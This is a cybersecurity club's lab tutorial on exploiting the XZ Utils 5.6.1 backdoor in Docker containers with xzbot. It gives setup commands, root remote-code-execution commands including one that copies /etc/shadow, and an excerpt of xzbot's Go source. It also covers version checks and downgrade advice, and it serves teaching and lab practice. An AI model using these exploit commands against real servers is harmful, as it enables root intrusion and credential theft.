Using the XZ backdoor

23 mins nkcyber cybersecurity
Table of Contents

Johnverstisment

Introduction

Hi! I’m Zack Sargent. I run the cybersecurity training division of NKCyber, and our members were interested in getting a hands-on experience with the recently exposed XZ backdoor.

You may want to consult the materials from the “Further Reading” section for a more comprehensive understanding of the vulnerability.

Today, we want to specifically answer the question: “How can I exploit the XZ backdoor?”.

Am I vulnerable?

Xe Iaso’s inital report contains very actionable information to determine if you are vulnerable to this exploit:

If you are using one of these distributions, you should check to see if you are using xz version 5.6.0 or 5.6.1. If you are, you should downgrade to 5.4.6. If you can’t downgrade, you should disable public-facing SSH servers until you can downgrade.

At this time, we believe that version 5.4.6 is not vulnerable to this exploit. If you are using a different version, you should check with your distribution’s security mailing list to see if you are vulnerable. If you are not already subscribed to your distribution’s security mailing list, you should do so now.

Here is how you can tell if you’re running the affected version:

xz --version

Here is what the output on the vulnerable version looks like:

$ xz --version
xz (XZ Utils) 5.6.1
liblzma 5.6.1

Understanding the mechanics

As has been covered extensively elsewhere, this backdoor involved a sophisticated process in which the binaries distributed to users is different from what was on GitHub (before it was deleted), so that the backdoor could not be found by auditing the code.

Additionally, the attack was designed so that it’s only vulnerable to people with the author’s “private key”. You can think of this like a password. In a sense, the goal of the attack was to hide some code in the most popular Linux distributions so that anyone with the “magic words” could have full control over the entire server.

So, if we want to take advantage of their exploit, we have to edit their code slightly, so that we can control what magic words it is waiting for.

To do this, we can use xzbot by Anthony Weems, which has the following features:

  • honeypot: fake vulnerable server to detect exploit attempts
  • ed448 patch: patch liblzma.so to use our own ED448 public key
  • backdoor format: format of the backdoor payload
  • backdoor demo: cli to trigger the RCE assuming knowledge of the ED448 private key

We’re going to be using the backdoor demo for today’s activity.

We can use Anthony’s patches to control the “magic words”/“private key” that the server expects, so that we can control the exploit as if we were the attackers.

Virtual Machine

To create a safe environment to work with this vulnerable code, I recommend working with it in a virtual machine.

I’m personally going to create a Kali VM, because that’s the standard for our club.

Consider adding more RAM to your VM before going further. Also, set your clipboard to bi-directional.

Docker installation

In your hacking environment, you can test if you have docker set up properly with:

docker ps

Otherwise, refer to how to install docker for your distro. (See Kali linux instructions here.) Remember that you may want to sudo reboot for docker to set up properly.

Installing Docker Testbed

To practice this exploit, we’re going to use Davide Guerri’s “Small collection of famous exploits”, which describes itself as a “Docker test beds for famous, high-severity, exploits”. In this repo, Davide has done a great job of dockerizing Anthony Weems’s xzbot for testing and practice. It looks like both Anthony and Davide work for Google, which isn’t relevant, but it makes me feel better about not being able to figure this out on my own.

We are going to be heavily utilizing from Davide’s work for today’s activity.

In your hacking environment, run the setup commands:

git clone https://github.com/dguerri/exploits-collection.git
cd exploits-collection
git submodule update --init --recursive

Then, navigate to the backdoor directory.

cd xz-5.6.1-backdoor

Running the containers

Now, you should be in the xz-5.6.1-backdoor folder.

Then, start the two servers in the background:

docker compose up --build -d

This will create two networked containers:

  1. xzbackdoor-vulnerable - This is what we will attack
  2. xzbackdoor-poc - This is where we will attack from

(note that the Makefile specifies docker-compose, but you’re might want docker compose. There’s a difference, but both should work for today.)

This will take care of ensuring that we download and set up the correct versions of xz and liblzma. Note the vulnerable .deb for liblzma is in Davide’s repo.

Executing the attack

Davide’s has listed instructions on how to execute the backdoor via docker compose, but I have modified these instructions slightly to work from within the bash prompt of the docker instance.

# start bash in the docker instance
docker exec -it xzbackdoor-poc bash
# activate python environment (optional, but nice if you want to use patch.py)
. /opt/venv/bin/activate

From here, we can attack the system as if we were running commands on it normally.

Note: The ed448 key pair is generated from a random seed. Info on the key and its seed are printed out and stored in /exploit/ed448info.txt

We want to get the key and seed that it randomly generated during setup. In the real world, this would be the private key that only the original creators of the exploit have.

# this extracts the seed from the information printed during the challenge setup
seed="$(sed -n 's/^Seed: \([0-9][0-9]*\)/\1/p' /exploit/ed448info.txt)"
# you can do 'cat /exploit/ed448info.txt' for more information.
# Make sure you can run xzbot. ask it for help
/exploit/xzbot/xzbot --help
# (the specific installation location is arbitrary to this exercise)
# use the seed we found earlier
/exploit/xzbot/xzbot -addr xzbackdoor-vulnerable:22 -seed "$seed" -cmd "cat /etc/shadow > /tmp/.xz"

Note the output of this should end with “ssh: handshake failed: EOF”. This is normal.

Now, we can prove that we obtained remote code execution by opening another terminal and running:

# go into the vulnerable docker container, and read the file that we created via our SSH connection
docker exec xzbackdoor-vulnerable cat /tmp/.xz

To prove we’re executing as root, we can do the following from the attacking container:

/exploit/xzbot/xzbot -addr xzbackdoor-vulnerable:22 -seed "$seed" -cmd 'echo "current user: $(whoami)" > /tmp/whoami.txt'

and then prove it by opening another terminal and running:

docker exec xzbackdoor-vulnerable cat /tmp/whoami.txt
# should print 'current user: root'

This proves that we’re getting remote code execution as root.

Analysis of xzbot

But, why are we using xzbot? Is it doing anything magical to help us out here?

Nope! It’s just establishing the SSH connection with the appropriate key!

  // ...
  signingKey := ed448.NewKeyFromSeed(seed[:])     // creates a key from same seed as in vulnerable system
  xz := &xzSigner{                                // xzSigner takes a signing key and generates the appropriate public key
      signingKey:    signingKey,
      encryptionKey: signingKey[ed448.SeedSize:],
  }
  // this creates an SSH client as the root user
  config := &ssh.ClientConfig{
      User: "root",
      Auth: []ssh.AuthMethod{                     // Establishes the authentication method using the public
          ssh.PublicKeys(xz),                     //   key generated from the initial signing key and seed.
      },
      HostKeyCallback: xz.HostKeyCallback,        // takes the SSH public key and computes a hash
  }
  client, err := ssh.Dial("tcp", *addr, config)   // establishes an SSH connection
  // ...

xzbot/main.go (comments are mine)

Futher Activities:

Further Reading

I consulted a bunch of resources when building this list. Here’s a compilation of the resources I found to be helpful, with the date they were first posted.